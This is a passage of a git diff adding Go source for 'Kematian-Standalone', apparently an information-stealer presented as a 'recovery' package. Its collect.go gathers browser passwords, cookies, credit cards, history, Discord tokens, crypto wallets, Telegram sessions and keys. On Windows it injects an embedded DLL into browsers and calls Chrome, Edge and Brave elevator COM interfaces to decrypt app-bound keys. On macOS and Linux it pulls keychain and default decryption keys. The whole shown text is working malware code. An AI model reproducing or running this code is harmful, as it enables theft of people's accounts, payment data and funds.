CardNumber: cardNumber, + Nickname: nickname.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/Kematian-Standalone/native/recovery/chromium/log.go b/Kematian-Standalone/native/recovery/chromium/log.go new file mode 100644 index 0000000..86b1cfa --- /dev/null +++ b/Kematian-Standalone/native/recovery/chromium/log.go @@ -0,0 +1,7 @@ +package chromium + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[chromium] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/collect.go b/Kematian-Standalone/native/recovery/collect.go new file mode 100644 index 0000000..fae1cf3 --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect.go @@ -0,0 +1,399 @@ +package recovery + +import ( + "context" + "fmt" + "sync" + + "recovery/recovery/browser" + "recovery/recovery/chromium" + "recovery/recovery/crypto" + "recovery/recovery/discord" + "recovery/recovery/firefox" + "recovery/recovery/platform" + "recovery/recovery/scanner" + "recovery/recovery/types" +) + +func mergeInto(dst, src *types.CollectionResult) { + dst.Passwords = append(dst.Passwords, src.Passwords...) + dst.Cookies = append(dst.Cookies, src.Cookies...) + dst.Autofill = append(dst.Autofill, src.Autofill...) + dst.History = append(dst.History, src.History...) + dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...) + dst.CreditCards = append(dst.CreditCards, src.CreditCards...) + dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...) + dst.Files = append(dst.Files, src.Files...) + dst.Wallets = append(dst.Wallets, src.Wallets...) + dst.Telegram = append(dst.Telegram, src.Telegram...) + dst.Keys = append(dst.Keys, src.Keys...) + dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...) + if src.Gaming != nil { + dst.Gaming = src.Gaming + } + if src.VPNs != nil { + dst.VPNs = src.VPNs + } + dst.Errors = append(dst.Errors, src.Errors...) +} + +func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) { + result := &types.CollectionResult{} + + platform.ResetHandleCache() + defer platform.ResetHandleCache() + + var ( + mu sync.Mutex + wg sync.WaitGroup + ) + + launchScans(opts, result, partialFn, &wg, &mu) + + platformSetupCollect() + defer platformTeardownCollect() + + needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill || + opts.History || opts.Bookmarks || opts.CreditCards + + type job struct { + cfg types.BrowserConfig + keys *types.ResolvedKeys + profile types.ProfileInfo + pids []uint32 + } + + jobCh := make(chan job, 64) + + // Launch extraction workers up front so they can consume jobs as soon as + // each browser's keys resolve, instead of waiting for every browser's key + // resolution (and its headless spawn) to finish first. + const workers = 4 + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("browser profile extraction", &result.Errors, &mu) + for j := range jobCh { + select { + case <-ctx.Done(): + return + default: + } + func() { + defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu) + partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts) + mu.Lock() + mergeInto(result, partial) + mu.Unlock() + if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 || + len(partial.Autofill) > 0 || len(partial.History) > 0 || + len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) { + partialFn(partial) + } + }() + } + }() + } + + if needsBrowserData { + const keyWorkers = 3 + sem := make(chan struct{}, keyWorkers) + var keyWg sync.WaitGroup + for _, cfg := range browser.Browsers { + profiles := browser.FindProfileDirs(cfg) + if len(profiles) == 0 { + continue + } + keyWg.Add(1) + go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) { + defer keyWg.Done() + sem <- struct{}{} + defer func() { <-sem }() + + logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles)) + keys, err := crypto.ResolveKeys(cfg) + if err != nil { + logf("%s key resolution failed: %v", cfg.Name, err) + keys = &types.ResolvedKeys{} + mu.Lock() + result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err)) + mu.Unlock() + } + pids, _ := platform.FindProcesses(cfg.ProcessName) + + for _, p := range profiles { + select { + case jobCh <- job{cfg, keys, p, pids}: + case <-ctx.Done(): + logf("collection deadline reached; stopping job producer for %s", cfg.Name) + return + } + } + }(cfg, profiles) + } + + go func() { + keyWg.Wait() + close(jobCh) + }() + } else { + close(jobCh) + } + + wg.Wait() + + if err := ctx.Err(); err != nil { + note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err) + result.Errors = append(result.Errors, note) + logf("%s", note) + } + + return result, nil +} + +func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) { + if opts.Discord { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("discord token extraction", &result.Errors, mu) + tokens := discord.ExtractTokens() + if len(tokens) > 0 { + mu.Lock() + result.DiscordTokens = append(result.DiscordTokens, tokens...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{DiscordTokens: tokens}) + } + } + }() + } + + if opts.Files { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("file scan", &result.Errors, mu) + files := scanner.ScanFiles() + if len(files) > 0 { + mu.Lock() + result.Files = append(result.Files, files...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Files: files}) + } + } + }() + } + + if opts.Wallets { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("wallet scan", &result.Errors, mu) + wallets := scanner.ScanWallets() + if len(wallets) > 0 { + mu.Lock() + result.Wallets = append(result.Wallets, wallets...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Wallets: wallets}) + } + } + }() + } + + if opts.Telegram { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("telegram scan", &result.Errors, mu) + sessions := scanner.ScanTelegram() + if len(sessions) > 0 { + mu.Lock() + result.Telegram = append(result.Telegram, sessions...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Telegram: sessions}) + } + } + }() + } + + if opts.Keys { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("key scan", &result.Errors, mu) + keys := scanner.ScanKeys() + if len(keys) > 0 { + mu.Lock() + result.Keys = append(result.Keys, keys...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Keys: keys}) + } + } + }() + } + + if opts.Apps { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("app credentials scan", &result.Errors, mu) + apps := scanner.ScanApps() + if len(apps) > 0 { + mu.Lock() + result.AppCredentials = append(result.AppCredentials, apps...) + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{AppCredentials: apps}) + } + } + }() + } + + if opts.Gaming { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("gaming scan", &result.Errors, mu) + gaming := ScanGaming() + if gaming != nil { + mu.Lock() + result.Gaming = gaming + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{Gaming: gaming}) + } + } + }() + } + + if opts.VPNs { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors("vpn scan", &result.Errors, mu) + vpns := ScanVPNs() + if vpns != nil { + mu.Lock() + result.VPNs = vpns + mu.Unlock() + if partialFn != nil { + partialFn(&types.CollectionResult{VPNs: vpns}) + } + } + }() + } +} + +func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult { + partial := &types.CollectionResult{} + var ( + wg sync.WaitGroup + eMu sync.Mutex + errs []string + ) + label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name) + + if cfg.IsFirefox { + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = firefox.ExtractCookies(profile, cfg) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = firefox.ExtractHistory(profile, cfg) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg) + }() + } + wg.Wait() + partial.Errors = errs + return partial + } + + if opts.Passwords { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" password extraction", &errs, &eMu) + partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids) + }() + } + if opts.Cookies { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" cookie extraction", &errs, &eMu) + partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids) + }() + } + if opts.Autofill { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" autofill extraction", &errs, &eMu) + partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids) + }() + } + if opts.History { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" history extraction", &errs, &eMu) + partial.History = chromium.ExtractHistory(profile, cfg, pids) + }() + } + if opts.Bookmarks { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" bookmark extraction", &errs, &eMu) + partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg) + }() + } + if opts.CreditCards { + wg.Add(1) + go func() { + defer wg.Done() + defer recoverErrors(label+" credit card extraction", &errs, &eMu) + partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids) + }() + } + wg.Wait() + partial.Errors = errs + return partial +} diff --git a/Kematian-Standalone/native/recovery/collect_stub.go b/Kematian-Standalone/native/recovery/collect_stub.go new file mode 100644 index 0000000..0d1da7d --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package recovery + +func platformSetupCollect() {} + +func platformTeardownCollect() {} diff --git a/Kematian-Standalone/native/recovery/collect_windows.go b/Kematian-Standalone/native/recovery/collect_windows.go new file mode 100644 index 0000000..feb102c --- /dev/null +++ b/Kematian-Standalone/native/recovery/collect_windows.go @@ -0,0 +1,41 @@ +//go:build windows + +package recovery + +import ( + "os" + + "recovery/recovery/browser" + "recovery/recovery/platform" +) + +func platformSetupCollect() { + if os.Getenv("KEMATIAN_NO_INJECT") != "" { + logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only") + return + } + + dllBytes := platform.GetEmbeddedDLL() + if dllBytes != nil { + for _, cfg := range browser.Browsers { + logf("attempting DLL injection into %s", cfg.Name) + session, err := platform.CreatePipeSession(dllBytes, cfg.Name) + if err != nil { + logf("inject %s failed: %v", cfg.Name, err) + continue + } + _ = session + logf("pipe session established with %s", cfg.Name) + break + } + } else { + logf("no embedded DLL — direct file access only") + } +} + +func platformTeardownCollect() { + if platform.ActivePipeSession != nil { + platform.ActivePipeSession.Close() + platform.ActivePipeSession = nil + } +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto.go b/Kematian-Standalone/native/recovery/crypto/crypto.go new file mode 100644 index 0000000..39a109e --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto.go @@ -0,0 +1,31 @@ +package crypto + +import "strings" + +func CleanPassword(data []byte) string { + s := string(data) + allPrint := true + for _, c := range s { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint = false + break + } + } + if allPrint { + return strings.TrimSpace(s) + } + if len(data) > 32 { + s2 := string(data[32:]) + allPrint2 := true + for _, c := range s2 { + if c < 32 && c != '\t' && c != '\n' && c != '\r' { + allPrint2 = false + break + } + } + if allPrint2 { + return strings.TrimSpace(s2) + } + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go b/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go new file mode 100644 index 0000000..e320d13 --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_darwin.go @@ -0,0 +1,163 @@ +//go:build darwin + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + "os/exec" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + darwinChromeSalt = "saltysalt" + darwinChromeIterations = 1003 + darwinChromeKeyLen = 16 +) + +var chromeKeychainServices = map[string]string{ + "Chrome": "Chrome Safe Storage", + "Chrome Beta": "Chrome Safe Storage", + "Chrome Canary": "Chrome Safe Storage", + "Chromium": "Chromium Safe Storage", + "Edge": "Microsoft Edge Safe Storage", + "Brave": "Brave Safe Storage", + "Vivaldi": "Vivaldi Safe Storage", + "Opera": "Opera Safe Storage", + "Opera GX": "Opera Safe Storage", + "Arc": "Arc Safe Storage", + "Yandex": "Yandex Safe Storage", +} + +func getKeychainPassword(browserName string) (string, error) { + service, ok := chromeKeychainServices[browserName] + if !ok { + service = browserName + " Safe Storage" + } + + cmd := exec.Command("security", "find-generic-password", "-wa", service) + out, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err) + } + return strings.TrimSpace(string(out)), nil +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + // fuck it we still trying + return resolveKeyFromKeychain(cfg) + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + return resolveKeyFromKeychain(cfg) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return resolveKeyFromKeychain(cfg) + } + + return resolveKeyFromKeychain(cfg) +} + +func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + password, err := getKeychainPassword(cfg.Name) + if err != nil { + return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err) + } + + key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on macOS") +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_linux.go b/Kematian-Standalone/native/recovery/crypto/crypto_linux.go new file mode 100644 index 0000000..8c06214 --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_linux.go @@ -0,0 +1,128 @@ +//go:build linux + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha1" + "encoding/json" + "fmt" + "os" + + "recovery/recovery/browser" + "recovery/recovery/types" + + "golang.org/x/crypto/pbkdf2" +) + +const ( + linuxChromePassword = "peanuts" + linuxChromeSalt = "saltysalt" + linuxChromeIterations = 1 + linuxChromeKeyLen = 16 +) + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + localStatePath := browser.LocalStatePath(cfg) + if _, err := os.Stat(localStatePath); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + data, err := os.ReadFile(localStatePath) + if err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil + } + + key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New) + return &types.ResolvedKeys{V10: key}, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + if len(encrypted) < 3 { + return "" + } + prefix := string(encrypted[:3]) + if prefix != "v10" && prefix != "v11" { + return "" + } + + key := v10Key + if key == nil || len(key) == 0 { + return "" + } + + ciphertext := encrypted[3:] + if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 { + return "" + } + + plaintext, err := aesCBCDecrypt(key, ciphertext) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + iv := make([]byte, aes.BlockSize) + for i := range iv { + iv[i] = 0x20 + } + + if len(ciphertext) < aes.BlockSize { + return nil, fmt.Errorf("ciphertext too short") + } + + mode := cipher.NewCBCDecrypter(block, iv) + plaintext := make([]byte, len(ciphertext)) + mode.CryptBlocks(plaintext, ciphertext) + + // PKCS5/PKCS7 unpad + plaintext = pkcs5Unpad(plaintext) + if plaintext == nil { + return nil, fmt.Errorf("invalid padding") + } + return plaintext, nil +} + +func pkcs5Unpad(data []byte) []byte { + if len(data) == 0 { + return nil + } + padLen := int(data[len(data)-1]) + if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) { + return nil + } + for i := len(data) - padLen; i < len(data); i++ { + if data[i] != byte(padLen) { + return nil + } + } + return data[:len(data)-padLen] +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + return nil, fmt.Errorf("DPAPI not available on Linux") +} diff --git a/Kematian-Standalone/native/recovery/crypto/crypto_windows.go b/Kematian-Standalone/native/recovery/crypto/crypto_windows.go new file mode 100644 index 0000000..71061ca --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/crypto_windows.go @@ -0,0 +1,372 @@ +//go:build windows + +package crypto + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/json" + "fmt" + "os" + "syscall" + "unsafe" + + "recovery/recovery/browser" + "recovery/recovery/platform" + "recovery/recovery/types" + + "golang.org/x/sys/windows" +) + +var ( + modCrypt32 = windows.NewLazySystemDLL("crypt32.dll") + procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData") +) + +type dataBlob struct { + cbData uint32 + pbData *byte +} + +func CryptUnprotectData(in []byte) ([]byte, error) { + var inBlob, outBlob dataBlob + inBlob.cbData = uint32(len(in)) + if len(in) > 0 { + inBlob.pbData = &in[0] + } + + r, _, err := procCryptUnprotectData.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, 0, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, fmt.Errorf("CryptUnprotectData: %w", err) + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + for i := range out { + out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i))) + } + return out, nil +} + +var ( + clsidChromeElevator = windows.GUID{ + Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611, + Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}, + } + iidChromeElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidChromeElevatorV1 = windows.GUID{ + Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F, + Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}, + } + clsidEdgeElevator = windows.GUID{ + Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF, + Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}, + } + iidEdgeElevator = windows.GUID{ + Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34, + Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}, + } + clsidBraveElevator = windows.GUID{ + Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B, + Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}, + } + iidBraveElevatorV2 = windows.GUID{ + Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992, + Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}, + } + iidBraveElevatorV1 = windows.GUID{ + Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71, + Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}, + } +) + +func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("COM panic: %v", r) + } + }() + return tryV20KeyViaCOM(cfg, encBlob) +} + +func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) { + hr := coInitializeEx() + if hr != 0 { + return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr) + } + defer coUninitialize() + + clsid := clsidChromeElevator + iid := iidChromeElevatorV2 + if cfg.Name == "Edge" { + clsid = clsidEdgeElevator + iid = iidEdgeElevator + } else if cfg.Name == "Brave" { + clsid = clsidBraveElevator + iid = iidBraveElevatorV2 + } + + var unknown *IUnknown + hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + if hr != 0 && cfg.Name == "Chrome" { + hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 && cfg.Name == "Brave" { + hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown))) + } + if hr != 0 { + return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr) + } + defer unknown.Release() + + hr = coSetProxyBlanket(unknown) + if hr != 0 { + logf("CoSetProxyBlanket warning: 0x%08x", hr) + } + + bstrCipher := sysAllocStringByteLen(encBlob) + if bstrCipher == nil { + return nil, fmt.Errorf("SysAllocStringByteLen failed") + } + defer sysFreeString(bstrCipher) + + var bstrPlain *uint16 + var lastErr uint32 + hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr) + if hr != 0 || bstrPlain == nil { + return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr) + } + defer sysFreeString(bstrPlain) + + keyLen := sysStringByteLen(bstrPlain) + if keyLen < 32 { + return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen) + } + + result := make([]byte, 32) + for i := 0; i < 32; i++ { + result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i))) + } + return result, nil +} + +func coInitializeEx() uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2) + return uint32(r) +} + +func coUninitialize() { + windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call() +} + +func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call( + uintptr(unsafe.Pointer(clsid)), + uintptr(unsafe.Pointer(unknown)), + uintptr(clsCtx), + uintptr(unsafe.Pointer(iid)), + uintptr(unsafe.Pointer(ppv)), + ) + return uint32(r) +} + +func coSetProxyBlanket(unknown *IUnknown) uint32 { + r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call( + uintptr(unsafe.Pointer(unknown)), + 0xFFFFFFFF, 0xFFFFFFFF, 0, + 6, 4, 0, 0x400, + ) + return uint32(r) +} + +func sysAllocStringByteLen(b []byte) *uint16 { + if len(b) == 0 { + return nil + } + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call( + uintptr(unsafe.Pointer(&b[0])), + uintptr(len(b)), + ) + return (*uint16)(unsafe.Pointer(r)) +} + +func sysFreeString(s *uint16) { + if s != nil { + windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s))) + } +} + +func sysStringByteLen(s *uint16) int { + r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s))) + return int(r) +} + +type IUnknown struct { + vtbl *iUnknownVtbl +} + +type iUnknownVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr +} + +func (u *IUnknown) Release() { + syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u))) +} + +func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 { + type elevatorVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + RunRecoveryCRXElevated uintptr + EncryptData uintptr + DecryptData uintptr + } + vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl)) + r, _, _ := syscall.SyscallN(vtbl.DecryptData, + uintptr(unsafe.Pointer(unknown)), + uintptr(unsafe.Pointer(bstrCipher)), + uintptr(unsafe.Pointer(pbstrPlain)), + uintptr(unsafe.Pointer(pLastError)), + ) + return uint32(r) +} + +func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) { + if cfg.IsFirefox { + return &types.ResolvedKeys{}, nil + } + + keys := &types.ResolvedKeys{} + localStatePath := browser.LocalStatePath(cfg) + + data, err := os.ReadFile(localStatePath) + if err != nil { + return nil, fmt.Errorf("read Local State: %w", err) + } + + var localState map[string]interface{} + if err := json.Unmarshal(data, &localState); err != nil { + return nil, fmt.Errorf("parse Local State: %w", err) + } + + osCrypt, _ := localState["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil, fmt.Errorf("no os_crypt section in Local State") + } + + if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" { + decoded, err := base64.StdEncoding.DecodeString(encKey) + if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" { + v10Key, err := CryptUnprotectData(decoded[5:]) + if err == nil { + keys.V10 = v10Key + logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key)) + } else { + logf("V10 DPAPI failed: %v", err) + } + } + } + + if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" { + decoded, err := base64.StdEncoding.DecodeString(appBoundKey) + if err == nil && len(decoded) > 4 { + encBlob := decoded[4:] + + var v20Key []byte + if platform.ActivePipeSession == nil { + err = fmt.Errorf("no active pipe session") + } else { + encB64 := base64.StdEncoding.EncodeToString(encBlob) + v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64) + } + if err != nil { + if platform.ActivePipeSession == nil { + if cfg.Name != "Chrome" { + logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err) + v20Key, err = safeV20KeyViaCOM(cfg, encBlob) + } else { + logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err) + err = fmt.Errorf("Chrome V20 requires browser session") + } + } else { + logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err) + v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob) + if err != nil { + logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err) + } + } + } + if err == nil { + keys.V20 = v20Key + logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key)) + } else { + logf("V20 key unavailable for %s: %v", cfg.Name, err) + } + } + } + + if keys.V10 == nil && keys.V20 == nil { + return nil, fmt.Errorf("could not resolve any master key") + } + + return keys, nil +} + +func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string { + if len(encrypted) == 0 { + return "" + } + + var key []byte + if len(encrypted) >= 3 { + switch string(encrypted[:3]) { 